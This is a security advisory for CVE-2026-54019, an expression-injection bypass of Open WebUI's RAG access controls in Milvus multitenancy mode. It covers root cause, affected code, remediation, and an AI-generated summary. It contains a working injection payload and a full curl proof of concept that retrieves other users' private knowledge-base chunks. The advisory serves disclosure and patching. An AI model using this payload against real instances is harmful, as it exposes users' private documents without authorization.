VYPR
Medium severity6.5NVD Advisory· Published Jun 17, 2026· Updated Jun 17, 2026

Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode

CVE-2026-54019

Description

# RAG ACL Bypass in Milvus Multitenancy Mode

Summary

This is a bypass of the fix for:

  • GHSA-h36f-rqpx-j5wx
  • CVE-2026-44560
  • "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"

Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.

An authenticated non-admin user can query:

x' or resource_id != '' or resource_id == 'x

This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:

resource_id == 'x' or resource_id != '' or resource_id == 'x'

That returns private knowledge-base chunks belonging to other users.

Affected

Configuration

Tested on:

Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=true

This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.

Impact

An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.

Root

Cause

ACL permits unknown collection names:

# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
    validated.add(name)

Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:

# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"

Affected paths include:

POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/doc

PoC

Request:

curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  --data-binary @- <<'JSON'
{
  "collection_names": [
    "x' or resource_id != '' or resource_id == 'x"
  ],
  "query": "anything",
  "k": 10,
  "hybrid": false
}
JSON

Actual result: private chunks from other users' knowledge collections are returned.

Expected result: request should be rejected with 403 or return no unauthorized content.

Remediation

  1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
  2. Escape or parameterize Milvus expression values before building filters.
  3. Reject collection names containing quotes/control characters unless they match a known internal format.
  4. Add a regression test for this payload in Milvus multitenancy mode:
x' or resource_id != '' or resource_id == 'x

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

2

Patches

Vulnerability mechanics

Root cause

"Missing input validation and output escaping: the ACL permits arbitrary unknown collection names, and Milvus multitenancy mode interpolates that user-controlled name directly into a Milvus expression without sanitization, enabling expression injection."

Attack vector

An authenticated non-admin user sends a POST request to `/api/v1/retrieval/query/collection` (or `/api/v1/retrieval/query/doc`) with a crafted `collection_names` array containing a SQL-injection-style payload such as `x' or resource_id != '' or resource_id == 'x` [ref_id=1]. The Open WebUI ACL passes this string because it is not a known knowledge-base collection ID, treating it as a legacy/ephemeral collection [ref_id=1]. When Milvus multitenancy mode is enabled, the string is interpolated into the Milvus expression `resource_id == 'x' or resource_id != '' or resource_id == 'x'`, which returns private knowledge-base chunks belonging to other users [ref_id=1]. The attack requires only an authenticated session and the Milvus multitenancy configuration (`VECTOR_DB=milvus`, `ENABLE_MILVUS_MULTITENANCY_MODE=true`) [ref_id=1].

Affected code

The vulnerability spans two files. In `backend/open_webui/retrieval/utils.py`, the ACL check at `elif not await Knowledges.get_knowledge_by_id(name): validated.add(name)` permits unknown collection names as legacy/ephemeral collections [ref_id=1]. In `backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py`, the expression `expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"` interpolates the user-controlled collection name directly into a Milvus filter without escaping [ref_id=1]. The affected endpoints are `POST /api/v1/retrieval/query/collection` and `POST /api/v1/retrieval/query/doc` [ref_id=1].

What the fix does

The advisory states that the fix was released in Open WebUI v0.9.6 [ref_id=1]. The recommended remediation includes: do not allow arbitrary unknown collection names in user-controlled RAG query endpoints; escape or parameterize Milvus expression values before building filters; reject collection names containing quotes or control characters unless they match a known internal format; and add a regression test for the payload `x' or resource_id != '' or resource_id == 'x` [ref_id=1]. No patch diff is provided in the bundle, so the exact code changes are not visible.

Preconditions

  • authAttacker must be an authenticated non-admin user of the Open WebUI instance
  • configThe Open WebUI deployment must be configured with VECTOR_DB=milvus and ENABLE_MILVUS_MULTITENANCY_MODE=true
  • configThe target must be running Open WebUI version <= 0.9.5
  • networkAttacker must be able to reach the POST /api/v1/retrieval/query/collection or /api/v1/retrieval/query/doc endpoints over the network

Reproduction

```bash curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H "Content-Type: application/json" \ --data-binary @- <<'JSON' { "collection_names": [ "x' or resource_id != '' or resource_id == 'x" ], "query": "anything", "k": 10, "hybrid": false } JSON ``` The response returns private knowledge-base chunks belonging to other users instead of being rejected with 403 or returning no unauthorized content [ref_id=1].

Generated on Jun 17, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.